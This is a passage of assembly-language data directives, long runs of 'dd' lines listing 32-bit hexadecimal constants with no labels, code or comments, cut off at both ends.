8D078C50h, 0F6633914h, 0C348CA80h, 33EEA909h, 689DF106h dd 18612492h, 414FDE0Eh, 3E0E425Eh, 80C29C5Ah, 0D71C3BAh dd 40CF4A32h, 0EC6E9368h, 993F3591h, 0F06CB19Ah, 80334C1h dd 0CFC004F3h, 0C4C40F7h, 28F3998h, 0B8CCDC47h, 0FF888028h dd 9804D3D2h, 0EF221800h, 7F9B893Ah, 3DDA7500h, 46FB11Ch dd 0D61902C9h, 9862B853h, 745AF456h, 0A1649828h, 4B3D6F33h dd 1D0A00BEh, 77578371h, 1ADB347Ch, 0E1C8C0F1h, 80C12C3Bh dd 65D89901h, 57FDFE31h, 23A03B3Eh, 79780F09h, 457317A0h dd 695BDFDBh, 8A8FAC01h, 9441936Dh, 4C30A44Dh, 4B0F8CB8h dd 0F3973609h, 50C09CE2h, 0ADDA0953h, 0D5F86001h, 0A1458DABh dd 0A2681E3Eh, 0FC8F0101h, 2997C10h, 44508F31h, 0BC89F897h dd 31E06CCh, 0E65CF998h, 205A2C98h, 0C7DCC53Ah, 894D3088h dd 159299B8h, 0B8CF6B40h, 777631F0h, 84E8919h, 78402290h dd 8433521h, 0D413165Ch, 9050D49Fh, 0DC7F409Eh, 5A80E091h dd 0BCD2D359h, 37EB35D9h, 0F2D8E2B8h, 79AD3070h, 599320B1h dd 0A6DF6D00h, 264DAAh, 0DC4F9E2Dh, 31CD891Dh, 0D8189C17h dd 6C8E3425h, 3040FB84h, 0F861438Bh, 3D2424E0h, 23028584h dd 33CC425Eh, 0B86496FDh, 9D7C1097h, 0EBA7984h, 38FA3FE3h dd 9F729AC0h, 9C1C77EBh, 3E475236h, 0C00974CBh, 5A946A20h dd 0C3ACC951h, 8085A93Fh, 0F1037123h, 0E4E984Ah, 0D5B2EF76h dd 5FE0258Eh, 0B9FC92Bh, 91041797h, 0A3068028h, 9732DA5h dd 0F77E1027h, 0D25FF068h, 7D5BE700h, 0A5606A35h, 42E9394Ch dd 5E2B7101h, 34DEEF66h, 57052EC0h, 992AC453h, 74776C80h dd 285F12C6h, 0FAEC0848h, 80A56280h, 1CBE5E29h, 5756C759h dd 0A2BC1F52h, 9E689913h, 4A1D6101h, 74D262E6h, 0C4250F74h dd 0D1216A00h, 4076020Dh, 30063F3Ah, 0C94508A2h, 830E0C9Ch dd 0D13036D0h, 0C8116924h, 0FC917301h, 0BDE0ED51h, 0E100E0Ch dd 0EE80486Bh, 0E186877Eh, 0C6108564h, 0FE6146C7h, 99D851EBh dd 5DD4183Dh, 6C32904Ah, 36BF4B13h, 0A64EF0C0h, 411540DCh dd 0F8ACD10Bh, 0D7D8797Bh, 64D04072h, 0CCE68088h, 4016AC4Bh dd 8924B004h, 71BDC11Dh, 665738D9h, 212F07F0h, 8059FB02h dd 0FAF06E7Ch, 0CBE300A5h, 1C4AFF3Ch, 320E3D67h, 42FC63EFh dd 70FA7B46h, 0E34413BCh, 97FC4193h, 2B9E927Ch, 8FE09000h dd 0F496AFCAh, 40DC5BD7h, 85731590h, 88001776h, 1BA56990h dd 1C228AACh, 2C7F94EDh, 0D0AD383Ch, 8EE15493h, 5170832Dh dd 1D507CC0h, 0C1F999F9h, 0D14C0ECAh, 64A8FDCFh, 0C9283FE8h dd 0A1708E0h, 80020967h, 1BD4802h, 304462F1h, 257592ACh dd 9421032Ah, 0FF913900h, 414DDE51h, 708738A3h, 6185C700h dd 0F5EDA9Eh, 3D498A17h, 0A6C3F891h, 2102C864h, 74164787h dd 54EE6CE0h, 3A0D439h, 0A42CFBC8h, 0C8CD6321h, 0C90C9898h dd 8012FE68h, 58A1817h, 0A1C7485Ch, 10B6892Eh, 58495716h dd 9CE8700Ch, 7B0A40F4h, 7F1D5EEAh, 81BD2A21h, 4E474B23h dd 0F9D471E0h, 13AAA085h, 0BCDF845h, 0EE4A4D30h, 0DAB8B810h dd 0A4401E00h, 4D034FDh, 12C8008Ch, 0FAD724FFh, 3301B3EDh dd 0E7CF6646h, 0D8B03940h, 0DD146D60h, 0F71E970Bh, 0EFDC8207h dd 0D5800F09h, 6482E0E4h, 2F10309Dh, 0C0954F9Ah, 0A4E85164h dd 0C6512260h, 13D89113h, 88627CF6h, 0CB7B1E48h, 5DC3040h dd 89C9424Dh, 389C0612h, 292C1819h, 6A104858h, 90EF12DCh dd 0CA59718Ch, 691E3Dh, 0A0154CEAh, 9A89D3Dh, 0DC6E8545h dd 0B829C04h, 0D0DEh, 4540B741h, 0F83BFCD7h, 0F2909A0Fh dd 0D1009C8Fh, 7181161Eh, 27A85C91h, 0DFBCAD00h, 0A63B7796h dd 8080C33Ah, 3585A4AAh, 788EF13h, 3C7E6B25h, 57ACB0F2h dd 0EB03E520h, 0B69D2870h, 0E0A5C33Dh, 0E4D3E397h, 0A9CD2B98h dd 0CBF66120h, 42B10047h, 0A07421h, 0F19EE482h, 6C48587Bh dd 0BE1E4539h, 10D400AAh, 0DE589C5h, 5D7C01DBh, 248630A2h dd 81620EA0h, 1428158Ch, 1F81B940h, 4BBA1F0Eh, 0B00C0022h dd 7176DFCBh, 0AC9AE100h, 62EA0945h, 0CC78053Eh, 2631D7A2h dd 0E0540834h, 0D6460280h, 0A03EE4h, 0D7B24268h, 0E1C3F62h dd 5EA0546Fh, 0FF4480E1h, 49DF2D0h, 0B41C4360h, 15CF8D1h dd 128F2A41h, 0C445E8C9h, 0ED0078FFh, 43D6DBA3h, 0CD5A0CAh dd 2C3F5962h, 44440C29h, 0EE228477h, 70304269h, 9ED82284h dd 31287250h, 42973620h, 9F0D1124h, 22149628h, 58423911h dd 219C4211h, 885710BAh, 2EF6803Ch, 904ED75Dh, 0A49C4100h dd 3F9A2F1h, 0D46B0057h, 27E2B36Ch, 0D6009622h, 0AA696DC1h dd 2808BAE3h, 0C74C15h, 53B7C79Dh, 41399044h, 5DDC3A00h dd 3BC90416h, 1C330096h, 3E0DFEAFh, 86008FEFh, 7C1AC15Fh dd 46989Fh, 126AECCEh, 29116830h, 623619C0h, 4AA83F5h dd 0A092E5E2h, 39A4B8D3h, 5B1F00BEh, 0BD3DC10Ah, 0B570B0h dd 91DA5EDDh, 0CA72478Ch, 3BC4E709h, 0C8E8802Eh, 7821E1h dd 806C5DD9h, 933EF89h, 0DF383700h, 0CC8C64DCh, 2FFD4C93h dd 0DF7D391Ch, 3A5EC0ACh, 0C8D5B3B6h, 2D312600h, 216D27A3h dd 0E9DA0007h, 2F38996h, 2E009070h, 0F73DC7FCh, 3EBBE2B4h dd 0FB01F609h, 8BA61D30h, 682C205Fh, 0DB26F400h, 7C8E770Eh dd 94601C08h, 0DFFA807Eh, 8DE454C6h, 25E57A00h, 1F91CF95h dd 3E2C0FEBh, 5D009780h dd 6B07EE4Fh, 94D7BB00h, 392A27Dh, 3B57049Bh, 90B24677h dd 0C3D7E860h, 50975B0Eh, 0CAEEE339h, 107E988h, 0C7EDC2C5h dd 4C8B6080h, 489FE938h, 0FE14D100h, 0D0BA7EDBh, 65750416h dd 0AC0C774Bh, 0B37601A0h, 0D3CED139h, 0F30DD884h, 247085Bh dd 646A285Fh, 0B915E080h, 823EF8E3h, 144530AAh, 0DDA6CAh dd 84C6078Eh, 0C17F2266h, 5FE5E100h, 0C05EF4A5h, 0E0DB007Bh dd 4E4F0544h, 21C0BD81h, 0F280D79Ah, 250F0008h, 959B407Ah dd 71C7C2B8h, 49800C85h, 1CD9E36Dh, 47EAAE8Ch, 600BCCBAh dd 7665BE0Ah, 88FA0800h, 4A6B78CDh, 70E434h, 8DA075C4h dd 1860F040h, 73E02E00h, 7A62B3FEh, 1D4E00FFh, 0E9EA4588h dd 3116BB7Eh, 9D00F8C2h, 6BE852CCh, 87BE005Fh, 2997915Ah dd 0D011C9Bh, 154B196Fh, 3C603BC8h, 8F640EABh, 0F400236Bh dd 0D31EC9D0h, 2B3C2E60h, 3370189h, 0D63FECE1h, 53C040E3h dd 0A000DBB9h, 57831734h, 2FCEBEh, 0D4F21EEBh, 0CCFD8D76h dd 0A8D9D01Dh, 1A4B9682h, 7A4057EFh, 0ED00BD7Bh, 1D283DBh dd 1D178114h, 0C068D729h, 99F1DE36h, 20002CC3h, 0B34CED58h dd 9DF648h, 985BA03Ch, 81938E33h, 0BDD8400h, 7CA19941h dd 0AAE900E5h, 0B4170F85h, 3E00FC65h, 76DE9F30h, 7D467E74h dd 88DD3C75h, 7265AA00h, 0D0750F6h, 6FD0BC00h, 62318D8h dd 267EE038h, 1EB0CD22h, 6A9A4344h, 283D0FC7h, 0AA6E8046h dd 5385E2B6h, 0B2E300D7h, 9ADDD896h, 0FC00BC59h, 0AA4C237Dh dd 12CBAE62h, 0AF60508Ch, 0E0DA8E0Fh, 6EEC1424h, 0AAF00074h dd 0E1E50B7Ch, 417787DFh, 0BEC02D1Eh, 3F065740h, 0F4C33481h dd 714530E6h, 9B83BA30h, 5F9CE100h, 0ED85770Dh, 0EBE6010Ah dd 78310905h, 8C2C207Ah, 19A2D58h, 4A6A5CA9h, 98EB70F0h dd 9F4ECB6h, 3B5B1097h, 0D6B03403h, 9F98AFCBh, 23126384h dd 381D8E82h, 886180FAh, 0CCE5ADF6h, 44650076h, 92AB7EDAh dd 0D098EAD9h, 852FCD00h, 118CD4F3h, 0D24328F9h, 53A6009Ch dd 0BE5E6ADFh, 4200CD85h, 0A1AD1B60h, 18BD0Dh, 9B79A97Dh dd 8B76C4B8h, 11B97B00h, 0AF17BB45h, 0C3945863h, 0C3E6F90Fh dd 0F67D1C0h, 0F50E2D5Ah, 0C03B3A0Eh, 8E9C76A4h, 0AC1300C8h dd 0D8564140h, 61006589h, 3EA92739h, 13E047E7h, 4031EACEh dd 0FCC6BEF8h, 0CF00B5AEh, 0BBCDC310h, 0DCCBE5h, 0EB621525h dd 997D9F40h, 2A4FEE00h, 0E018A90Eh, 28EFEE20h, 0C44914h dd 0F78E4CB3h, 7E469A8h, 980B9D71h, 0F418FD51h, 0C4B81441h dd 0CBC2100h, 0A2E30345h, 235EA900h, 9EF43948h, 834D12FBh dd 797F007Eh, 0A03FC5BAh, 0A8385A00h, 59739BE2h, 604A0E94h dd 9EE0EE24h, 2CF145Fh, 0D429A200h, 1565977Dh, 88D200ECh dd 0C5F410EFh, 0A70013C0h, 0B06C92DEh, 8684Bh, 21B86959h dd 6ADD5ABEh, 482F370Ah, 1A00D4D8h, 735D2B70h, 0F82DB80Ah dd 0A14700ABh, 6CE959A5h, 8609C560h, 0A0E0CCE2h, 0D11D6D98h dd 0CBC713Dh, 74549769h, 0CE05B72Eh, 5B1AFD47h, 8FBAD403h dd 75B5E07Ah, 0B2110007h, 2150AEB3h, 0E90033D3h, 0EF7C0E30h dd 0BE6EE0h, 0BC0A40B1h, 0C6D9AB5Dh, 27899F07h, 0EFF04C6Bh dd 3A108DF0h, 158F3FE7h, 0B3A02B1Bh, 57B9CBFh, 1743A07h dd 0D8131EB8h, 7038C846h, 0AD210F19h, 0F68098CCh, 0B6F7AEE5h dd 56D97702h, 404C40F5h, 7A2EEF8h, 0AEB5EDA8h, 0E04757EBh dd 0B90F3756h, 0F8B6C100h, 0F17F6191h, 0FA0A0016h, 95AEC11h dd 4100811Fh, 0DF2CF890h, 23AD3Ch, 0EB6DCABFh, 78170B86h dd 0E6545E00h, 0B1C01E94h, 96F7806h, 3F2DEC92h, 80EFBC85h dd 0C78F36B8h, 2C8C2E00h, 0CCEC0DE1h, 55680080h, 0A24B9B45h dd 1F07958Ah, 38F447Eh, 626EDB50h, 0D57D00C6h, 592F641Ah dd 0B91F902Eh, 0D0000154h, 8E4A156Dh, 0E43D0E4Bh, 7483D308h dd 2F90AEBBh, 0C3000997h, 1D0DC2EEh, 66C40Ch, 55CCBC95h dd 0FF224B40h, 8153E83Ah, 29DD15EEh, 16C3206Ah, 0CF6BACh dd 0FAD4CAECh, 30EB013Bh, 0D600F0EBh, 226D83CEh, 1CFF3C28h dd 89E0E558h, 3C006BD4h, 258A5364h, 90625014h, 0B2007ACCh dd 194D1DE5h, 7D7D8FC5h, 7ABE02C1h, 68A83353h, 32EAE0C0h dd 43BB6103h, 0E0904594h, 0FEDA6F5h, 0C86F3B07h, 2BD6B7C0h dd 0CA3C7A26h, 5E6500BDh, 3904BEE1h, 9C580028h, 4FAAD3A1h dd 0FD1C9448h, 5DC14345h, 0FED4FFFAh, 0F8F33C74h, 0F11D0272h dd 8971D0AAh, 0CE941040h, 9B7E7500h, 0A8FE467Ch, 6D8D0050h dd 92D16329h, 0D3B00895h, 56056B70h, 577A90B6h, 0E94699C0h dd 0FF921388h, 4EC44097h, 0F0B8CCD8h, 62D52401h, 0B129E06Dh dd 9354F4h, 41C91DB3h, 0CEC04A7Bh, 0E6FF3900h, 0DA2A730Bh dd 205B0042h, 6C93DE50h, 8D03479Fh, 0A18930BBh, 0E122D0E0h dd 0C5260329h, 0B9FC9B02h, 0B4400EA8h, 895FE800h, 9EEDAA98h dd 6335004Dh, 0B3F1308Eh, 0E000E936h, 0D6DF5AEBh, 244A74h dd 8C5C485Bh, 0AE380966h, 5604720Bh, 288805ADh, 0EEA76F80h dd 6C883E97h, 0C00E05Ch, 85415F31h, 0A500C9BEh, 0D9CCD421h dd 43BCDFh, 0A3194936h, 5C03D08Bh, 6500E479h, 0E74886AFh dd 0B6FCC87h, 8ACEA24Ah, 21BBAC00h, 0FE1DA48Ch, 358277C4h dd 801F2D15h, 0F282B9CCh, 18EF0053h, 0BD9F319Eh, 8F267AD1h dd 0FC03B832h, 900F43B0h, 0FA5402C2h, 4C8600A7h, 119F83A2h dd 0F678F536h, 4A4789Fh, 17ABF727h, 0E54CA187h, 636360EAh dd 4F752900h, 7F377E6Bh, 91E11679h, 0E8980751h, 7A8613D2h dd 0D42A76C9h, 48C4407Fh, 0E4E043C4h, 230E00A7h, 72F03E8Dh dd 5900AD44h, 9C3A94A3h, 75B9C5h, 0F9FDEB1Bh, 56E49FF8h dd 2CA0ED2Ch, 1265813Ch, 844EE5A8h, 3606C828h, 20A3E120h dd 0B430481Fh, 89D12805h, 3CC01484h, 0F2BF1EAFh, 8CE60043h dd 9C7C42F1h, 6E2CB913h, 3500C060h, 0F5EC6920h, 5D25183Bh dd 0A97938E1h, 76504301h, 81B1B76Eh, 797C64C8h, 69E10001h dd 0BAEFE0ADh, 0D9036AC8h, 0D8B48391h, 0AF0C88C5h, 66C7120Bh dd 0DF9F007Dh, 29984D8Bh, 0FEC42E00h, 0D29DCBC0h, 0ABB85Dh dd 0A6E9EA3Ah, 2B9213DEh, 0F73F26h, 0F0042700h, 1F2AAB4h dd 0AB1C838Ch, 706FFCC2h, 9828A50Eh, 3B01A840h, 0F39C1EF1h dd 0E0C3040Dh, 3F5F61B0h, 0F22CCB2Fh, 1D700080h, 1175260Eh dd 4944D116h, 84D06425h, 4D084BFh, 0DD0533F8h, 8994C0CAh dd 0F50CBDB8h, 0A085DC25h, 78110EFEh, 24E04660h, 30940157h dd 0CABE720Eh, 844973h, 86181334h, 799F003Dh, 0B82A7A91h dd 0C1006D31h, 0F9625DCFh, 0E44AFh, 83062270h, 6756B2CDh dd 7D94E704h, 0E8E0FE3Bh, 90B078h, 71962701h, 8EC9AF7Ah dd 0A92CE712h, 74027805h, 3BA1E6C0h, 62B939CAh, 1B46C307h dd 18EE0A21h, 0CF2C28A7h, 61F97404h, 81D83Fh, 0C9F396FEh dd 48601039h, 0A299195Bh, 0E4B5317Fh, 0E30238F4h, 0BC5690E8h dd 6C0961D4h, 121F9030h, 96ED47h, 2180C09Ch, 0CA005DE9h dd 0D9A87E74h, 0E8E4BBE8h, 2CB500EFh, 2FBA9018h, 0BC1612CFh dd 7C0EFF35h, 0CC409647h, 0E7EDBD7Ah, 64EF0E06h, 0B5A0F32Bh dd 3C6956DDh, 74072900h, 0BAF4D4F0h, 0CBE22EB4h, 33C6004Ch dd 9E7F0AC7h, 0E3ED6401h, 0C34CFB3Eh, 1D2AC8DBh, 0BB583982h dd 0EB55A401h, 62F1D21Ch, 32C300A8h, 5D90890h, 0B85B7DE4h dd 4C685C91h, 0DB1A2E04h, 0B420A050h, 33135101h, 0F1C7FAE5h dd 0FD025872h, 0B91BF821h dd 25B8D440h, 971A1909h, 2B00007Bh, 372ECEh, 33FCD35Fh dd 4D5375C1h, 925220E1h, 0D5BB3800h, 0ADBD906Fh, 0CD31136Eh dd 2C00C05Bh, 0E9000BD7h, 0EF23F9E3h, 0C5F29h, 8E7AF1CBh dd 0B77176F5h, 5D77003h, 0E0FF62F9h, 0BAA968h, 278A8021h dd 4670F36Dh, 0FC555D00h, 0D532BEA5h, 9C2600F8h, 0F9C2A2E2h dd 0E9002A9Bh, 8C4D3182h, 0FB7F092h, 1D552E44h, 7B344C80h dd 15FCEC88h, 41252200h, 46446072h, 28A1F0E6h, 3FE879Ah dd 0CC392E77h, 0AC989B2Fh, 56002152h, 0C142DDFEh, 0D91367h dd 8B0C64E5h, 0C06A5AA4h, 3C0F16ECh, 6F599577h, 0FD9B4025h dd 5071D5C7h, 28941Ah, 6F641876h, 4E8D0732h, 0C3003BB0h dd 7B2477EBh, 0CBDA4Fh, 0BA17220Ah, 76E9C7A7h, 847E0B00h dd 11E818EDh, 0FBC10E09h, 0AA3C07Bh, 29A8C9Fh, 371890C0h dd 710F6AE4h, 0E0CE2F50h, 633F3206h, 0DDA83CA3h, 0D209007Eh dd 40E9DA1Bh, 0EB1C6167h, 0D7404F9Ch, 0E07F0114h, 9BF287h dd 6CEC505h, 0BCFADAE5h, 2C1D48h, 0CF5E4841h, 1D77480h dd 8CE312EAh, 0EC308254h, 0F41C7A5Ah, 0D46CDD27h, 0F8BB3E0Eh dd 7611862h, 44E90945h, 6EE930Bh, 0AA511FC0h, 300C11B0h dd 6934FCD1h, 2BDB03D0h, 2E7D8EDAh, 8CF393A0h, 7187B701h dd 8385D14Dh, 0F63D2C4h, 8E08FB72h, 0BD375243h, 0E5AA02C0h dd 0FF37701h, 4E29844Fh, 9CAABF0h, 0EDE3DD8h, 0C072BB84h dd 5A3B787Ch, 920156E8h, 0C26BB6B5h, 0E5EC9EB7h, 0CA0C0016h dd 0B47BCEC8h, 99006380h, 29AA015Ch, 321C94h, 0E4ABB3B8h dd 3B20A4D8h, 0B0BC38h, 9DC77EF1h, 0BE55ACh, 494DB1C0h dd 53780FDAh, 4C007F71h, 0BF97B89Ah, 0FCBB3AD6h, 0CAE683h dd 5C6138A6h, 4DC0C77Fh, 0B3669E00h, 825346E0h, 0AC8300D3h dd 691E8C54h, 0BF70DFDCh, 6D00B773h, 121924A3h, 1C66053Eh dd 9F3D1A34h, 358D64Ah, 0AFD54CB5h, 146AECA8h, 0B0605B07h dd 6B506F94h, 7E279F26h, 98791Dh, 1CAA1DEh, 0FE861FC4h dd 0ED32C4FFh, 2D54AD00h, 3631E067h, 0CAF000F1h, 0E2FE0A3Fh dd 9B000419h, 0D66D4B62h, 1E950F7Ah, 0DD6C29BBh, 0E3CC0F5h dd 8DD41F1Ah, 63F4B900h, 178B26D1h, 55CB07CFh, 0D09F6BA1h dd 39C77868h, 0CC43281Ch, 80120E0Fh, 7404FD49h, 8CDA0B26h dd 0D3095920h, 19B27B06h, 0EFEB6401h, 885C9707h, 3B609420h dd 1A00A2F9h, 29DDDE5Bh, 0DC00A736h, 130B2F41h, 3B7E15C1h dd 3B0E1658h, 0F820B144h, 9985B3B4h, 0FB4C7D00h, 235C6EA8h dd 0F06F00DDh, 833415F5h, 0E5FCB07Ah, 353639h, 5C7295B2h dd 0EF0EEDh, 0BCB99751h, 0B453279Ch, 4AD929C0h, 0EEE9806h dd 5A178B3h, 47F7B9C1h, 0CEF1C8F8h, 0CB00C1FCh, 0B51A2932h dd 0CD7D50h, 0C602758Bh, 0F27B81D5h, 77A6BA00h, 0A445D6D9h dd 0FA6612FEh, 300C0048h, 8AAE75D8h, 46632C00h, 0C6E6B10Bh dd 672000ADh, 0CDA22742h, 1600B4BDh, 9A313C51h, 7D95D5h dd 0DE155750h, 668CFE99h, 97C4C01h, 20D4DDACh, 618319CDh dd 587B33C8h, 5AA677C0h, 9A011174h, 824BE72Bh, 10843159h dd 0F530B9Bh, 0EFA00729h, 0A71C401Fh, 7B6186h, 0A6BF43B2h dd 16CBF689h, 0A946DA07h, 9020227Fh, 5B15DFh, 0CF490855h dd 0B79A566h, 0CE807C60h, 81B25E6Fh, 53EC307Eh, 0D798C0Ch dd 787216Eh, 5B07605Eh, 0AD32F085h, 60A0BC01h, 0CDB0A04Ch dd 7B0F9901h, 83498CFAh, 0DE12F0h, 2436A27Eh, 5922B913h dd 4C9E8100h, 75D3FA2Ch, 936E0078h, 8C1F73B5h, 1500B027h dd 0DA764201h, 59E537h, 6F550A5Ah, 0DE9109D9h, 2D93400Fh dd 7803F50h, 5F6C7FAEh, 1639079Fh, 70AB905Eh, 0E84FC821h dd 0F95AC000h, 44CE0564h, 79C70017h, 0A438AAC5h, 183CC130h dd 819B80DFh, 764721A1h, 0AD1928C8h, 50820380h, 0B808D7F4h dd 6CFE72D7h, 0D07A1469h, 2014052h, 66508524h, 0DDDCDD2h dd 590FE1FFh, 784AC8E0h, 84FE02EBh, 9A583CF2h, 6257AC81h dd 82DDD083h, 59EE483Eh, 0E05206A4h, 3C502054h, 0AC50F7FAh dd 41D80093h, 0A059170Eh, 9C006C79h, 294CBA3Bh, 0F8184284h dd 0BF5C07D3h, 0C3D74DD5h, 0A2C0FC3Ch, 9AF05471h, 8C1D018h dd 839240h, 477DDD2Dh, 15E0094Dh, 0BC9F18C1h, 4F02B86h dd 630201DCh, 771F403Eh, 33B54092h, 4700315Dh, 2FEA5411h dd 26099F7Fh, 1F746B9Ch, 573A807Bh, 94D689A0h, 6F09D1Fh dd 4C256F05h, 2FDD89C1h, 9730A852h, 1FD40004h, 72F92218h dd 0C960728h, 51B16E14h, 7A341298h, 735B5440h, 238F6BDh dd 0CDD4272Eh, 0A48155DCh, 705C8A7Ch, 0E8E353E1h, 4B67E95Eh dd 8F42EF48h, 4F044F9h, 4A3BC42Dh, 0FD71C1CFh, 0D15EFDC6h dd 621802Ah, 44673BBCh, 0F17300E5h, 0FAED6FF6h, 27604D5Dh dd 9CDF8289h, 24C9C950h, 6D72C98Ch, 7794BB48h, 0E729E662h dd 5EC0576Ch, 725C083Ch, 0D7980061h, 0D5D4F347h, 0C0526E24h dd 600BA127h, 960C8EE8h, 0A2FB1B03h, 0A546F501h, 0E04DF003h dd 0BCE81179h, 0EAEE0061h, 0EFD3C6DDh, 0D13B5085h, 0E5D8004Dh dd 507FAFD4h, 88EA5830h, 0E0401CACh, 0ECA14928h, 9DAA6506h dd 523D20DCh, 6F54C0Eh, 576E2180h, 87731FE9h, 94D409BCh dd 77CC6887h, 216D46DCh, 808F8C3Ch, 0B090A3C4h, 15FE1BEh dd 3EFF4564h, 0DFA8A25Ah, 0FDD8601Ch, 508881C4h, 18C39080h dd 1098A9FBh, 6871670h, 7E6FD95Ah, 0ED6009B2h, 16D67021h dd 905EF86Eh, 74100D8h, 9C122AB9h, 0EA009EBBh, 0FBFC143Eh dd 5280DCF9h, 82416020h, 89B88E06h, 93118B60h, 0C27BF492h dd 766D021Ch, 0B008D005h, 0C0C95408h, 5AA516EBh, 881318F7h dd 1600E41Eh, 0B5E29A9Dh, 0B0AC7CFFh, 0D7210934h, 24204833h dd 0B0D92B1Dh, 80D10A07h, 4A07B6A0h, 17CAA850h, 5A8A26C4h dd 319C02D4h, 0D86433D6h, 594A6200h, 3223F9ADh, 3BFF3357h dd 21024B08h, 0BE5921BFh, 10BC827Fh, 1B90047h, 0C87C33F2h dd 736A8E12h, 51D02C03h, 0A24101D6h, 282EC2Bh, 59C99EDEh dd 40308C8Ch, 5CF900ACh, 0D7601ED9h, 633238CDh, 847AF864h dd 0E061C690h, 0F1706016h, 3B00E4A7h, 0E03416E9h, 0C059549Ah dd 5CC73DFEh, 5A0488C8h, 8033C3D2h, 78FDD445h, 0F484FB24h dd 62619088h, 0D0074C3Dh, 60D97402h, 34ECF774h, 98E08792h dd 8252BDACh, 3014F2E4h, 4F004196h, 52D3ECD0h, 0FF39D2Bh dd 0D6973FE7h, 0F93799C3h, 7920D1E4h, 0D034D5BEh, 0E00992BBh dd 0EA1B2F6h, 0FC0180A8h, 26605FF9h, 8601B2Dh, 3001359Ch dd 0EAAF5482h, 0E47C3C95h, 75781801h, 96F7DE09h, 40613AF0h dd 2987513Bh, 438C42h, 9ACAF086h, 0B4544424h, 0D7D57301h dd 0C7DC1AFAh, 0E1960042h, 309FE777h, 8024DE5Dh, 0A3C0902Dh dd 21D4EABCh, 8491DBF4h, 7F8B901Eh, 7E005FD8h, 0F5B5ED1Bh dd 0B4A0891Eh, 0C520D0CEh, 0DD58A1DBh, 0C4F64918h, 113BF923h dd 20C20166h, 0B9938459h, 2E3DA70h, 0AFA55C8Ch, 0E4A0868Dh dd 39E828C8h, 0C09084B0h, 7FAAD21Ah, 4E544140h, 0BC049818h dd 0DBECD4EBh, 991EF48Bh, 2AB408Eh, 9CDA73D6h, 25A64312h dd 0B89A3C42h, 19304048h, 22F033D0h, 8BAD1818h, 0C024C824h dd 0A9CEB9BAh, 191DF930h, 7C88EFAh, 0C4EDB746h, 7817603Ch dd 1D009149h, 0B4F58499h, 2A6DC92Eh, 38904F34h, 3580222Bh dd 0C2267B0Ah, 0E400589Fh, 349B14Bh, 615F5210h, 0DB1C6153h dd 0A5B06480h, 7709B201h dd 0DE64FAF9h, 0ACD74C70h, 1159E4CCh, 882BF9AEh, 2AC4814Eh dd 621C3D59h, 331A0168h, 77819805h, 0CED4A1C1h, 1EF317D7h dd 329404BFh, 0F9D481F6h, 9918118h, 0D701FD87h, 8B0EA03Ah dd 8D007B70h, 2E61B426h, 0A73B1E4h, 5798A264h, 0D5C40BBCh dd 7D6E7498h, 43A6DCA8h, 0D973A501h, 0F985ACE3h, 0FF75E670h dd 0B6C2180h, 6FE5AD3h, 3C231100h, 0A5052664h, 7F7D00F6h dd 0CF4EDF84h, 2492F5D0h, 4F585514h, 10D7899Ch, 7FF070BCh dd 94B2E262h, 12F3827Ch, 444090C8h, 44864C84h, 0D3705621h dd 3E184848h, 600C1897h, 12F9C9D0h, 57D694h, 2B13F564h dd 5CB08E26h, 0CC2CBE00h, 23B6DD7Ch, 58E35C14h, 18C1EE8h dd 92864C7Bh, 0F0693FFEh, 9C6C46EEh, 8C945070h, 113BAD3Bh dd 3188BFCFh, 3BC50780h, 22CDA49h, 9B4F55C0h, 0B060FFE1h dd 44944B50h, 9282CEE5h, 85FC40E3h, 9170C8A1h, 543BAEC0h dd 94C748CFh, 3BC808E3h, 101CD862h, 4C8958D2h, 0D48480B1h dd 0A5248CE5h, 9ADF0BA8h, 60918817h, 5AB21682h, 28EA9042h dd 0F0182062h, 134C4C24h, 69170969h, 0CDE0A27Ah, 0B3304855h dd 12E898A1h, 40DF19C4h, 8AE2A488h, 0FB00F060h, 7831B637h dd 1356EFB1h, 0A216B4h, 0DCACCCFCh, 0C3020B35h, 74294CA7h dd 46946408h, 8E4F3DE3h, 4B8BF9B2h, 0EC1456h, 58594790h dd 93D264D3h, 2094C351h, 0E8C2280h, 0D4DFBC8Ch, 8891A19Fh dd 7B94951Eh, 9D5FF580h, 0B7D51B56h, 1D5D85Ch, 2DD415F1h dd 4C64348Eh, 0D3553A5Dh, 44CC2AACh, 0D0824293h, 6384A5DDh dd 0D051830Ah, 1D45D605h, 1C31F0D0h, 0ACA048D0h, 10866FC1h dd 2088CD5Dh, 0B3000E50h, 0CB27E88Bh, 0B0F979A1h, 6F201862h dd 0ECFB185h, 0C017478h, 0DFB97D92h, 0C0E47B25h, 0C1A30BFBh dd 0F881FF54h, 0D8AFD60Fh, 2756D3B8h, 668614B4h, 9334CB98h dd 0FDFC90C0h, 0A5B93CBBh, 0FB5D42Eh, 2F00EA80h, 0AAD3BA5Dh dd 0C4F66CB0h, 91FD2240h, 1823D1A8h, 0B612003Eh, 0B37C4D98h dd 0E2E27E11h, 1682C49Ch, 0E7A1A551h, 8E714FF4h, 1FB92024h dd 268CD3CAh, 82348A86h, 3451BCC9h, 8FE34048h, 6437A22Ch dd 0B180A011h, 0DFCF4F3Bh, 1325448Ch, 0AC3BC900h, 0BC1B657Eh dd 49D812D0h, 1C6021ECh, 0A2288412h, 805A24h, 58D0D354h dd 0F87904F8h, 187B6BC8h, 902BE404h, 0D894350Ch, 0B4AC54E5h dd 0E0491708h, 0C6910028h, 54F173EEh, 241C0033h, 2997FD26h dd 0E52CE7DEh, 4791FC79h, 0ECBCA580h, 0DC5C04D4h, 879AB160h dd 0F168FE4h, 7EBB04FEh, 0D5D70233h, 0C480B118h, 8ACC17D7h dd 0DDAAF904h, 70880482h, 75B02E9h, 4FCE80C4h, 0B95FDC80h dd 1D0073E7h, 8A6453DDh, 96EAA884h, 0B0100870h, 5437B207h dd 0BBC11290h, 47652A4Fh, 42D025ACh, 60C55492h, 806587C4h dd 0F9B0FDD4h, 0C002B4A2h, 0DD0561A8h, 6DC8ECCBh, 7B6407C0h dd 123F0045h, 3DC67DE7h, 0E60024D7h, 755021CCh, 9527796h dd 0C3B6209Bh, 2817882Bh, 0F0804B91h, 5184DEDAh, 4E188F4Ah dd 19A7888h, 0D7201D42h, 0E0A02FC1h, 9624982Ah, 642660D4h dd 748100DEh, 92287F4Fh, 481C68CEh, 0D812202Fh, 13346000h dd 0AD0BB9Dh, 0B4CC9A62h, 0E05202E0h, 78602F84h, 5B546F47h dd 0CC00D194h, 9F6E70DAh, 737EE03Ah, 9CD23442h, 2BBC0821h dd 0E0BC89C0h, 86A47ED4h, 79966E44h, 5F7A0091h, 0D21467EAh dd 25FE85E9h, 7987D51h, 8850B6F0h, 51D07707h, 54EA182h dd 0C4803A04h, 